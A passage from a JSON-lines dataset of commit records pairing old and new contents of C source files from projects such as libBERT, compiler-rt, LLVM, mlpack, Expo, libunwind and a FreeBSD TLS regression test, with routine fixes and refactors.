-> fake in InlineExecutor documentation.\nChange: 163386931\n","lang":"C","license":"apache-2.0","repos":"sreddybr3\/serving,penguin138\/serving,penguin138\/serving,tensorflow\/serving,tensorflow\/serving,penguin138\/serving,sreddybr3\/serving,tensorflow\/serving,tensorflow\/serving,sreddybr3\/serving,penguin138\/serving,sreddybr3\/serving"}
{"commit":"2448675327ceaa844ae2fab4a15c46d0981cad17","old_file":"test\/test_encode_int.c","new_file":"test\/test_encode_int.c","old_contents":"#include <bert\/encoder.h>\n#include <bert\/magic.h>\n#include <bert\/errno.h>\n\n#include \"test.h\"\n\nunsigned char output[6];\n\nvoid test_output()\n{\n\tif (output[0] != BERT_MAGIC)\n\t{\n\t\ttest_fail(\"bert_encoder_push did not add the magic byte\");\n\t}\n\n\tif (output[1] != BERT_INT)\n\t{\n\t\ttest_fail(\"bert_encoder_push did not add the INT magic byte\");\n\t}\n\n\tunsigned int i;\n\n\tfor (i=2;i<6;i++)\n\t{\n\t\tif (output[i] != 0xff)\n\t\t{\n\t\t\ttest_fail(\"output[%u] is 0x%x, expected 0x%x\",output[i],0xff);\n\t\t}\n\t}\n}\n\nint main()\n{\n\tbert_encoder_t *encoder = test_encoder(output,6);\n\n\tbert_data_t *data;\n\n\tif (!(data = bert_data_create_int(0xffffffff)))\n\t{\n\t\ttest_fail(\"malloc failed\");\n\t}\n\n\ttest_encoder_push(encoder,data);\n\n\tbert_data_destroy(data);\n\tbert_encoder_destroy(encoder);\n\n\ttest_output();\n\treturn 0;\n}\n","new_contents":"#include <bert\/encoder.h>\n#include <bert\/magic.h>\n#include <bert\/errno.h>\n\n#include \"test.h\"\n\nunsigned char output[6];\n\nvoid test_output()\n{\n\tif (output[0] != BERT_MAGIC)\n\t{\n\t\ttest_fail(\"bert_encoder_push did not add the magic byte\");\n\t}\n\n\tif (output[1] != BERT_INT)\n\t{\n\t\ttest_fail(\"bert_encoder_push did not add the INT magic byte\");\n\t}\n\n\tunsigned char bytes[] = {0xff, 0xff, 0xff, 0xff};\n\n\ttest_bytes(output+2,bytes,4);\n}\n\nint main()\n{\n\tbert_encoder_t *encoder = test_encoder(output,6);\n\n\tbert_data_t *data;\n\n\tif (!(data = bert_data_create_int(0xffffffff)))\n\t{\n\t\ttest_fail(\"malloc failed\");\n\t}\n\n\ttest_encoder_push(encoder,data);\n\n\tbert_data_destroy(data);\n\tbert_encoder_destroy(encoder);\n\n\ttest_output();\n\treturn 0;\n}\n","subject":"Make use of test_bytes in the int encoder test.","message":"Make use of test_bytes in the int encoder test.\n","lang":"C","license":"mit","repos":"postmodern\/libBERT"}
{"commit":"3d8ef87d5f4792e7fa48717d9c763a338718dbeb","old_file":"LinkList_insert_node_nth_position.c","new_file":"LinkList_insert_node_nth_position.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\/* Linked List Implementation in C *\/\n\/\/ This program aims at \"Inserting a node at the n-th position\"\n\ntypedef struct node{\n\tint data;\n\tstruct node *link;\t\n} node;\n\nnode* head; \/\/global variable\n\nvoid insert_n(int x, int n){\nnode* temp;\ntemp = (node*)malloc(sizeof(node));\n\ntemp->data = x;\ntemp->link=NULL;\n\nif(n == 1) { \/\/if the node is to be inserted at the beginning\n\ttemp->link = head;\n\thead = temp;\n\treturn;\n}\n\n\/\/if not at begining then we need to traverse to the n-1 th node\nnode* temp_travel;\ntemp_travel = head; \/\/start at head\nint i;\n\nfor (i =1 ; i<n-1 ; i++){\ntemp_travel = temp_travel->link;\n}\n\n\/\/copy the nth nodes link into temp new node's link \ntemp->link = temp_travel->link;\n\n\/\/after copy we can destroy this link in n-1 th node and make it point to the new node\ntemp_travel->link= temp;\nreturn;\n}\n\nvoid print(){\n\tnode* temp = head;\n\tprintf(\"list is:\");\n\twhile(temp->link != NULL){\n\t\tprintf(\" %d\",temp->data);\n\t\ttemp = temp->link;\n\t}\n\tprintf(\"\\n\");\n}\n\nint main(){\n\thead = NULL; \/\/empty list\n\n\tinsert_n(2,1); \/\/list is: 2\n\tinsert_n(3,2); \/\/list is: 2 3\n\tinsert_n(3,2); \/\/list is: 2 3\n\tinsert_n(4,1); \/\/list is: 4 2 3\n \tinsert_n(5,2); \/\/list is: 4 5 2 3\n\tinsert_n(6,4); \/\/list is: 4 5 2 6 3\n\tinsert_n(7,6); \/\/list is: 4 5 2 6 3 7\n\n\tprint();\n\treturn 0;\n}","subject":"Add Linked List Insert at nth position","message":"Add Linked List Insert at nth position\n","lang":"C","license":"mit","repos":"anaghajoshi\/C_DataStructures_Algorithms"}
{"commit":"5a420f60da6ebf3aadaa5130ee5ce097d1f982b5","old_file":"libraries\/datastruct\/hash\/lookup-node.c","new_file":"libraries\/datastruct\/hash\/lookup-node.c","old_contents":"\/* lookup-node.c -- hash *\/\n\n#include <stdlib.h>\n\n#include \"datastruct\/hash.h\"\n\n#include \"impl.h\"\n\nhash_node_t **hash_lookup_node(hash_t *h, const void *key)\n{\n  int           hash;\n  hash_node_t **n;\n\n  hash = h->hash_fn(key) % h->nbins;\n  for (n = &h->bins[hash]; *n != NULL; n = &(*n)->next)\n    if (h->compare(key, (*n)->key) == 0)\n      break;\n\n  return n;\n}\n","new_contents":"\/* lookup-node.c -- hash *\/\n\n#include <stdlib.h>\n\n#include \"datastruct\/hash.h\"\n\n#include \"impl.h\"\n\nhash_node_t **hash_lookup_node(hash_t *h, const void *key)\n{\n  unsigned int  hash;\n  hash_node_t **n;\n\n  hash = h->hash_fn(key) % h->nbins;\n  for (n = &h->bins[hash]; *n != NULL; n = &(*n)->next)\n    if (h->compare(key, (*n)->key) == 0)\n      break;\n\n  return n;\n}\n","subject":"Make return type decl match hash_fn.","message":"hash_lookup_node: Make return type decl match hash_fn.\n","lang":"C","license":"bsd-2-clause","repos":"dpt\/DPTLib"}
{"commit":"877bfcfaf592e63916333fd644bb8f30b673f35d","old_file":"lib\/sanitizer_common\/sanitizer_placement_new.h","new_file":"lib\/sanitizer_common\/sanitizer_placement_new.h","old_contents":"\/\/===-- sanitizer_placement_new.h -------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is shared between AddressSanitizer and ThreadSanitizer\n\/\/ run-time libraries.\n\/\/\n\/\/ The file provides 'placement new'.\n\/\/ Do not include it into header files, only into source files.\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef SANITIZER_PLACEMENT_NEW_H\n#define SANITIZER_PLACEMENT_NEW_H\n\n#include \"sanitizer_internal_defs.h\"\n\n#if __WORDSIZE == 64\ninline void *operator new(__sanitizer::uptr sz, void *p) {\n  return p;\n}\n#else\ninline void *operator new(__sanitizer::u32 sz, void *p) {\n  return p;\n}\n#endif\n\n#endif  \/\/ SANITIZER_PLACEMENT_NEW_H\n","new_contents":"\/\/===-- sanitizer_placement_new.h -------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is shared between AddressSanitizer and ThreadSanitizer\n\/\/ run-time libraries.\n\/\/\n\/\/ The file provides 'placement new'.\n\/\/ Do not include it into header files, only into source files.\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef SANITIZER_PLACEMENT_NEW_H\n#define SANITIZER_PLACEMENT_NEW_H\n\n#include \"sanitizer_internal_defs.h\"\n\nnamespace __sanitizer {\n#if (__WORDSIZE == 64) || defined(__APPLE__)\ntypedef __sanitizer::uptr operator_new_ptr_type;\n#else\ntypedef __sanitizer::u32 operator_new_ptr_type;\n#endif\n}  \/\/ namespace __sanitizer\n\ninline void *operator new(operator_new_ptr_type sz, void *p) {\n  return p;\n}\n\n#endif  \/\/ SANITIZER_PLACEMENT_NEW_H\n","subject":"Fix type for placement new on 32-bit Mac","message":"[Sanitizer] Fix type for placement new on 32-bit Mac\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@158524 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"28f427e69ea72b113380a835c1096c1e15ca4d22","old_file":"src\/include\/dev\/char_device.h","new_file":"src\/include\/dev\/char_device.h","old_contents":"\/**\n * @file\n * @description char devices\n *\/\n\n#ifndef __CHAR_DEVICE_H\n#define __CHAR_DEVICE_H\n\ntypedef struct chardev {\n\tint (*putc) (void);\n\tint (*getc) (int);\n} chardev_t;\n\n#define MAX_COUNT_CHAR_DEVICES 10\nstatic chardev_t pool_chardev[MAX_COUNT_CHAR_DEVICES];\nstatic int chardev_c = 0;\n\n#define ADD_CHAR_DEVICE(__NAME,__IN,__OUT) \\\n\tint __NAME=0;\\\n\t__NAME=chardev_c; \\\n\tpool_chardev[chardev_c++] = { \\\n\t\t.getc = __IN; \\\n\t\t.putc = __OUT;\\\n\t};\n\n#endif \/* __CHAR_DEVICE_H *\/\n","new_contents":"\/**\n * @file\n * @description char devices\n *\/\n\n#ifndef __CHAR_DEVICE_H\n#define __CHAR_DEVICE_H\n\ntypedef struct chardev {\n\tint (*putc) (void);\n\tint (*getc) (int);\n} chardev_t;\n#if 0\n#define MAX_COUNT_CHAR_DEVICES 10\nstatic chardev_t pool_chardev[MAX_COUNT_CHAR_DEVICES];\nstatic int chardev_c = 0;\n\n#define ADD_CHAR_DEVICE(__NAME,__IN,__OUT) \\\n\tint __NAME=0;\\\n\t__NAME=chardev_c; \\\n\tpool_chardev[chardev_c++] = { \\\n\t\t.getc = __IN; \\\n\t\t.putc = __OUT;\\\n\t};\n#endif\n#endif \/* __CHAR_DEVICE_H *\/\n","subject":"Delete char_dev massive from header","message":"Delete char_dev massive from header","lang":"C","license":"bsd-2-clause","repos":"gzoom13\/embox,vrxfile\/embox-trik,Kefir0192\/embox,vrxfile\/embox-trik,abusalimov\/embox,Kefir0192\/embox,gzoom13\/embox,mike2390\/embox,mike2390\/embox,embox\/embox,embox\/embox,abusalimov\/embox,embox\/embox,embox\/embox,mike2390\/embox,Kakadu\/embox,Kakadu\/embox,abusalimov\/embox,vrxfile\/embox-trik,Kefir0192\/embox,abusalimov\/embox,Kakadu\/embox,gzoom13\/embox,mike2390\/embox,vrxfile\/embox-trik,Kakadu\/embox,Kakadu\/embox,mike2390\/embox,Kefir0192\/embox,gzoom13\/embox,vrxfile\/embox-trik,embox\/embox,vrxfile\/embox-trik,Kefir0192\/embox,gzoom13\/embox,gzoom13\/embox,abusalimov\/embox,gzoom13\/embox,Kakadu\/embox,embox\/embox,Kefir0192\/embox,mike2390\/embox,Kakadu\/embox,mike2390\/embox,abusalimov\/embox,vrxfile\/embox-trik,Kefir0192\/embox"}
{"commit":"12b8bc1b01c53d08d4d2774407035fd483577d7c","old_file":"test\/FrontendC\/2010-06-11-SaveExpr.c","new_file":"test\/FrontendC\/2010-06-11-SaveExpr.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S %s\n\/\/ Test case by Eric Postpischil!\nvoid foo(void)\n{\n  char a[1];\n  int t = 1;\n  ((char (*)[t]) a)[0][0] = 0;\n}\n","subject":"Test case for Radar 8004649.","message":"Test case for Radar 8004649.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@105949 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"26d810473db6b338ffcf6fb21cb7dc35e6d7cffc","old_file":"src\/fake-lock-screen-pattern.h","new_file":"src\/fake-lock-screen-pattern.h","old_contents":"#ifndef _FAKE_LOCK_SCREEN_PATTERN_H_\n#define _FAKE_LOCK_SCREEN_PATTERN_H_\n\n#include <gtk\/gtk.h>\n\n#if !GTK_CHECK_VERSION(3, 0, 0)\ntypedef struct {\n  gdouble red;\n  gdouble green;\n  gdouble blue;\n  gdouble alpha;\n} GdkRGBA;\n#endif\n\ntypedef struct _FakeLockOption {\n  void *module;\n  gchar *real;\n  gchar *dummy;\n} FakeLockOption;\n\ntypedef struct {\n  gint mark;\n  gint value;\n  GdkPoint top_left;\n  GdkPoint bottom_right;\n} FakeLockPatternPoint;\n\ntypedef enum {\n  FLSP_ONE_STROKE,\n  FLSP_ON_BOARD,\n  FLSP_N_PATTERN,\n} FakeLockScreenPattern;\n\nvoid flsp_draw_circle(cairo_t *context,\n                      gint x, gint y, gint radius,\n                      GdkRGBA circle, GdkRGBA border);\n\ngboolean is_marked(gint x, gint y,\n                   gint *marked, void *user_data);\n\n#endif\n","new_contents":"#ifndef _FAKE_LOCK_SCREEN_PATTERN_H_\n#define _FAKE_LOCK_SCREEN_PATTERN_H_\n\n#include <gtk\/gtk.h>\n\n#if !GTK_CHECK_VERSION(3, 0, 0)\ntypedef struct {\n  gdouble red;\n  gdouble green;\n  gdouble blue;\n  gdouble alpha;\n} GdkRGBA;\n#endif\n\ntypedef struct _FakeLockOption {\n  void *module;\n  gint width;\n  gint height;\n  gchar *real;\n  gchar *dummy;\n} FakeLockOption;\n\ntypedef struct {\n  gint mark;\n  gint value;\n  GdkPoint top_left;\n  GdkPoint bottom_right;\n} FakeLockPatternPoint;\n\ntypedef enum {\n  FLSP_ONE_STROKE,\n  FLSP_ON_BOARD,\n  FLSP_N_PATTERN,\n} FakeLockScreenPattern;\n\nvoid flsp_draw_circle(cairo_t *context,\n                      gint x, gint y, gint radius,\n                      GdkRGBA circle, GdkRGBA border);\n\ngboolean is_marked(gint x, gint y,\n                   gint *marked, void *user_data);\n\n#endif\n","subject":"Store size of drawing area","message":"Store size of drawing area\n","lang":"C","license":"mit","repos":"kenhys\/fake-lock-screen-pattern,kenhys\/fake-lock-screen-pattern"}
{"commit":"8d8f4eef73993a3ea51b47c2d7a7c238b627369a","old_file":"src\/modules\/graphics\/opengl.h","new_file":"src\/modules\/graphics\/opengl.h","old_contents":"#ifdef LOVR_WEBGL\n#include <GLES3\/gl3.h>\n#include <GLES2\/gl2ext.h>\n#include <GL\/gl.h>\n#include <GL\/glext.h>\n#else\n#include \"lib\/glad\/glad.h\"\n#endif\n\n#include <stdint.h>\n\n#pragma once\n\n#define GPU_BUFFER_FIELDS \\\n  uint32_t id; \\\n  uint8_t incoherent;\n\n#define GPU_CANVAS_FIELDS \\\n  uint32_t framebuffer; \\\n  uint32_t resolveBuffer; \\\n  uint32_t depthBuffer; \\\n  bool immortal;\n\n#define GPU_MESH_FIELDS \\\n  uint32_t vao; \\\n  uint32_t ibo;\n\n#define GPU_SHADER_FIELDS \\\n  uint32_t program;\n\n#define GPU_TEXTURE_FIELDS \\\n  GLuint id; \\\n  GLuint msaaId; \\\n  GLenum target; \\\n  uint8_t incoherent;\n","new_contents":"#ifdef LOVR_WEBGL\n#include <GLES3\/gl3.h>\n#include <GLES2\/gl2ext.h>\n#include <GL\/gl.h>\n#include <GL\/glext.h>\n#else\n#include \"lib\/glad\/glad.h\"\n#endif\n\n#include <stdint.h>\n\n#pragma once\n\n#define GPU_BUFFER_FIELDS \\\n  uint32_t id; \\\n  uint8_t incoherent;\n\n#define GPU_CANVAS_FIELDS \\\n  uint32_t framebuffer; \\\n  uint32_t resolveBuffer; \\\n  uint32_t depthBuffer; \\\n  bool immortal;\n\n#define GPU_MESH_FIELDS \\\n  uint32_t vao; \\\n  uint32_t ibo;\n\n#define GPU_SHADER_FIELDS \\\n  uint32_t program;\n\n#define GPU_TEXTURE_FIELDS \\\n  uint8_t incoherent; \\\n  GLuint id; \\\n  GLuint msaaId; \\\n  GLenum target;\n","subject":"Adjust Texture padding so it's 64 bytes;","message":"Adjust Texture padding so it's 64 bytes;\n","lang":"C","license":"mit","repos":"bjornbytes\/lovr,bjornbytes\/lovr,bjornbytes\/lovr,bjornbytes\/lovr,bjornbytes\/lovr"}
{"commit":"f503a09cc3e24c8a87a16ab55b8bf2eedb2f0b85","old_file":"mlpack\/trunk\/src\/mlpack\/core\/tree\/bounds.h","new_file":"mlpack\/trunk\/src\/mlpack\/core\/tree\/bounds.h","old_contents":"\/**\n * @file tree\/bounds.h\n *\n * Bounds that are useful for binary space partitioning trees.\n *\n * TODO: Come up with a better design so you can do plug-and-play distance\n * metrics.\n *\n * @experimental\n *\/\n\n#ifndef TREE_BOUNDS_H\n#define TREE_BOUNDS_H\n\n#include <mlpack\/core\/math\/math_lib.h>\n#include <mlpack\/core\/kernels\/lmetric.h>\n#include \"hrectbound.h\"\n#include \"dhrectperiodicbound.h\"\n#include \"dballbound.h\"\n\n#endif \/\/ TREE_BOUNDS_H\n","new_contents":"\/**\n * @file tree\/bounds.h\n *\n * Bounds that are useful for binary space partitioning trees.\n *\n * TODO: Come up with a better design so you can do plug-and-play distance\n * metrics.\n *\n * @experimental\n *\/\n\n#ifndef TREE_BOUNDS_H\n#define TREE_BOUNDS_H\n\n#include <mlpack\/core\/math\/math_lib.h>\n#include <mlpack\/core\/math\/range.h>\n#include <mlpack\/core\/math\/kernel.h>\n#include <mlpack\/core\/kernels\/lmetric.h>\n#include \"hrectbound.h\"\n#include \"dhrectperiodicbound.h\"\n#include \"dballbound.h\"\n\n#endif \/\/ TREE_BOUNDS_H\n","subject":"Include the correct files since math_lib.h no longer does that.","message":"Include the correct files since math_lib.h no longer does that.\n\n","lang":"C","license":"bsd-3-clause","repos":"ersanliqiao\/mlpack,ranjan1990\/mlpack,trungda\/mlpack,darcyliu\/mlpack,Azizou\/mlpack,erubboli\/mlpack,ranjan1990\/mlpack,thirdwing\/mlpack,ajjl\/mlpack,BookChan\/mlpack,Azizou\/mlpack,ajjl\/mlpack,bmswgnp\/mlpack,stereomatchingkiss\/mlpack,stereomatchingkiss\/mlpack,Azizou\/mlpack,bmswgnp\/mlpack,theranger\/mlpack,theranger\/mlpack,trungda\/mlpack,datachand\/mlpack,minhpqn\/mlpack,trungda\/mlpack,BookChan\/mlpack,thirdwing\/mlpack,ajjl\/mlpack,chenmoshushi\/mlpack,datachand\/mlpack,minhpqn\/mlpack,datachand\/mlpack,erubboli\/mlpack,minhpqn\/mlpack,palashahuja\/mlpack,darcyliu\/mlpack,ranjan1990\/mlpack,stereomatchingkiss\/mlpack,BookChan\/mlpack,palashahuja\/mlpack,palashahuja\/mlpack,lezorich\/mlpack,ersanliqiao\/mlpack,lezorich\/mlpack,ersanliqiao\/mlpack,lezorich\/mlpack,chenmoshushi\/mlpack,erubboli\/mlpack,darcyliu\/mlpack,theranger\/mlpack,chenmoshushi\/mlpack,bmswgnp\/mlpack,thirdwing\/mlpack"}
{"commit":"920b443aae561319aff2332863b45535fe016453","old_file":"android\/expoview\/src\/main\/jni\/EXGL.c","new_file":"android\/expoview\/src\/main\/jni\/EXGL.c","old_contents":"#include <stdint.h>\n\n#include <jni.h>\n\n#include <JavaScriptCore\/JSContextRef.h>\n\n\n#include \"EXGL.h\"\n\n\nJNIEXPORT jint JNICALL\nJava_host_exp_exponent_exgl_EXGL_EXGLContextCreate\n(JNIEnv *env, jclass clazz, jlong jsCtxPtr) {\n  JSGlobalContextRef jsCtx = (JSGlobalContextRef) (intptr_t) jsCtxPtr;\n  if (jsCtx) {\n    return EXGLContextCreate(jsCtx);\n  }\n  return 0;\n}\n\nJNIEXPORT void JNICALL\nJava_host_exp_exponent_exgl_EXGL_EXGLContextDestroy\n(JNIEnv *env, jclass clazz, jint exglCtxId) {\n  EXGLContextDestroy(exglCtxId);\n}\n\nJNIEXPORT void JNICALL\nJava_host_exp_exponent_exgl_EXGL_EXGLContextFlush\n(JNIEnv *env, jclass clazz, jint exglCtxId) {\n  EXGLContextFlush(exglCtxId);\n}\n","new_contents":"#include <stdint.h>\n\n#include <jni.h>\n\n#include <JavaScriptCore\/JSContextRef.h>\n\n\n#include \"EXGL.h\"\n\n\nJNIEXPORT jint JNICALL\nJava_host_exp_exponent_exgl_EXGL_EXGLContextCreate\n(JNIEnv *env, jclass clazz, jlong jsCtxPtr) {\n  JSGlobalContextRef jsCtx = (JSGlobalContextRef) (intptr_t) jsCtxPtr;\n  if (jsCtx) {\n    return UEXGLContextCreate(jsCtx);\n  }\n  return 0;\n}\n\nJNIEXPORT void JNICALL\nJava_host_exp_exponent_exgl_EXGL_EXGLContextDestroy\n(JNIEnv *env, jclass clazz, jint exglCtxId) {\n  UEXGLContextDestroy(exglCtxId);\n}\n\nJNIEXPORT void JNICALL\nJava_host_exp_exponent_exgl_EXGL_EXGLContextFlush\n(JNIEnv *env, jclass clazz, jint exglCtxId) {\n  UEXGLContextFlush(exglCtxId);\n}\n","subject":"Update to `UEX` prefix for unversioned C\/C++ API","message":"Update to `UEX` prefix for unversioned C\/C++ API\n\nfbshipit-source-id: 57bd0cb\n","lang":"C","license":"bsd-3-clause","repos":"exponentjs\/exponent,exponent\/exponent,exponent\/exponent,exponentjs\/exponent,exponent\/exponent,exponent\/exponent,exponent\/exponent,exponentjs\/exponent,exponentjs\/exponent,exponentjs\/exponent,exponentjs\/exponent,exponentjs\/exponent,exponentjs\/exponent,exponent\/exponent,exponent\/exponent,exponent\/exponent,exponentjs\/exponent,exponent\/exponent"}
{"commit":"dfa2c41cdf0cfe58dc5c24cbf999ce419671a2c9","old_file":"src\/ia64\/Gdestroy_addr_space-ia64.c","new_file":"src\/ia64\/Gdestroy_addr_space-ia64.c","old_contents":"","new_contents":"\/* libunwind - a platform-independent unwind library\n   Copyright (C) 2002 Hewlett-Packard Co\n\tContributed by David Mosberger-Tang <davidm@hpl.hp.com>\n\nThis file is part of libunwind.\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and\/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.  *\/\n\n#include <stdlib.h>\n\n#include \"unwind_i.h\"\n\nvoid\nunw_destroy_addr_space (unw_addr_space_t as)\n{\n#ifndef UNW_LOCAL_ONLY\n# ifdef UNW_DEBUG\n  memset (as, 0, sizeof (*as));\n# endif\n  free (as);\n#endif\n}\n","subject":"Make it a no-op for UNW_LOCAL_ONLY.","message":"(unw_destroy_addr_space): Make it a no-op for UNW_LOCAL_ONLY.\n\n2002\/12\/18 15:52:23-08:00 mostang.com!davidm\nRename: src\/ia64\/Gdestroy_addr_space.c -> src\/ia64\/Gdestroy_addr_space-ia64.c\n\n(Logical change 1.32)\n","lang":"C","license":"mit","repos":"androidarmv6\/android_external_libunwind,wdv4758h\/libunwind,SyndicateRogue\/libunwind,geekboxzone\/mmallow_external_libunwind,jrmuizel\/libunwind,unkadoug\/libunwind,frida\/libunwind,pathscale\/libunwind,rantala\/libunwind,yuyichao\/libunwind,pathscale\/libunwind,tkelman\/libunwind,maltek\/platform_external_libunwind,evaautomation\/libunwind,jrmuizel\/libunwind,unkadoug\/libunwind,Chilledheart\/libunwind,atanasyan\/libunwind-android,cms-externals\/libunwind,geekboxzone\/lollipop_external_libunwind,lat\/libunwind,ehsan\/libunwind,CyanogenMod\/android_external_libunwind,lat\/libunwind,bo-on-software\/libunwind,atanasyan\/libunwind,zliu2014\/libunwind-tilegx,cloudius-systems\/libunwind,igprof\/libunwind,wdv4758h\/libunwind,krytarowski\/libunwind,wdv4758h\/libunwind,atanasyan\/libunwind,dropbox\/libunwind,dropbox\/libunwind,djwatson\/libunwind,martyone\/libunwind,fdoray\/libunwind,Chilledheart\/libunwind,DroidSim\/platform_external_libunwind,martyone\/libunwind,rantala\/libunwind,fillexen\/libunwind,rntz\/libunwind,dreal-deps\/libunwind,atanasyan\/libunwind-android,vegard\/libunwind,dagar\/libunwind,0xlab\/0xdroid-external_libunwind,martyone\/libunwind,rntz\/libunwind,lat\/libunwind,project-zerus\/libunwind,fillexen\/libunwind,geekboxzone\/mmallow_external_libunwind,SyndicateRogue\/libunwind,evaautomation\/libunwind,geekboxzone\/lollipop_external_libunwind,tronical\/libunwind,rntz\/libunwind,tronical\/libunwind,tkelman\/libunwind,zliu2014\/libunwind-tilegx,ehsan\/libunwind,djwatson\/libunwind,androidarmv6\/android_external_libunwind,fillexen\/libunwind,rogwfu\/libunwind,bo-on-software\/libunwind,zeldin\/platform_external_libunwind,evaautomation\/libunwind,cms-externals\/libunwind,joyent\/libunwind,zliu2014\/libunwind-tilegx,tony\/libunwind,0xlab\/0xdroid-external_libunwind,dreal-deps\/libunwind,geekboxzone\/lollipop_external_libunwind,android-ia\/platform_external_libunwind,olibc\/libunwind,libunwind\/libunwind,fdoray\/libunwind,Keno\/libunwind,krytarowski\/libunwind,tronical\/libunwind,android-ia\/platform_external_libunwind,atanasyan\/libunwind-android,cloudius-systems\/libunwind,yuyichao\/libunwind,fdoray\/libunwind,CyanogenMod\/android_external_libunwind,project-zerus\/libunwind,cloudius-systems\/libunwind,unkadoug\/libunwind,cms-externals\/libunwind,vtjnash\/libunwind,rantala\/libunwind,olibc\/libunwind,CyanogenMod\/android_external_libunwind,0xlab\/0xdroid-external_libunwind,jrmuizel\/libunwind,rogwfu\/libunwind,igprof\/libunwind,androidarmv6\/android_external_libunwind,libunwind\/libunwind,zeldin\/platform_external_libunwind,olibc\/libunwind,vtjnash\/libunwind,vtjnash\/libunwind,djwatson\/libunwind,tkelman\/libunwind,adsharma\/libunwind,dreal-deps\/libunwind,atanasyan\/libunwind,tony\/libunwind,Chilledheart\/libunwind,libunwind\/libunwind,SyndicateRogue\/libunwind,Keno\/libunwind,joyent\/libunwind,android-ia\/platform_external_libunwind,frida\/libunwind,bo-on-software\/libunwind,project-zerus\/libunwind,pathscale\/libunwind,krytarowski\/libunwind,maltek\/platform_external_libunwind,yuyichao\/libunwind,adsharma\/libunwind,maltek\/platform_external_libunwind,dropbox\/libunwind,dagar\/libunwind,frida\/libunwind,mpercy\/libunwind,Keno\/libunwind,vegard\/libunwind,zeldin\/platform_external_libunwind,DroidSim\/platform_external_libunwind,igprof\/libunwind,rogwfu\/libunwind,mpercy\/libunwind,DroidSim\/platform_external_libunwind,mpercy\/libunwind,adsharma\/libunwind,geekboxzone\/mmallow_external_libunwind,tony\/libunwind,joyent\/libunwind,ehsan\/libunwind,dagar\/libunwind,vegard\/libunwind"}
{"commit":"6149b9f287815806eafa12f8ff1b310ea904e25b","old_file":"tools\/regression\/tls\/ttls4\/ttls4.c","new_file":"tools\/regression\/tls\/ttls4\/ttls4.c","old_contents":"\/*\n * This program tests if a new thread's initial tls data\n * is clean.\n *\n * David Xu <davidxu@freebsd.org>\n *\n * $FreeBSD$\n *\/\n\n#include <stdio.h>\n#include <pthread.h>\n\nint __thread n;\n\nvoid *f1(void *arg)\n{\n\tn = 1;\n\treturn (0);\n}\n\nvoid *f2(void *arg)\n{\n\tif (n != 0) {\n\t\tprintf(\"bug, n == %d \\n\", n);\n\t\texit(1);\n\t}\n\treturn (0);\n}\n\nint main()\n{\n\tpthread_t td;\n\tint i;\n\n\tpthread_create(&td, NULL, f1, NULL);\n\tpthread_join(td, NULL);\n\tfor (i = 0; i < 1000; ++i) {\n\t\tpthread_create(&td, NULL, f2, NULL);\n\t\tpthread_yield();\n\t\tpthread_join(td, NULL);\n\t}\n\treturn (0);\n}\n","new_contents":"\/*\n * This program tests if a new thread's initial tls data\n * is clean.\n *\n * David Xu <davidxu@freebsd.org>\n *\n * $FreeBSD$\n *\/\n\n#include <stdio.h>\n#include <pthread.h>\n#include <unistd.h>\n\nint __thread n;\n\nvoid *f1(void *arg)\n{\n\tif (n != 0) {\n\t\tprintf(\"bug, n == %d \\n\", n);\n\t\texit(1);\n\t}\n\tn = 1;\n\treturn (0);\n}\n\nint main()\n{\n\tpthread_t td;\n\tint i;\n\n\tfor (i = 0; i < 1000; ++i) {\n\t\tpthread_create(&td, 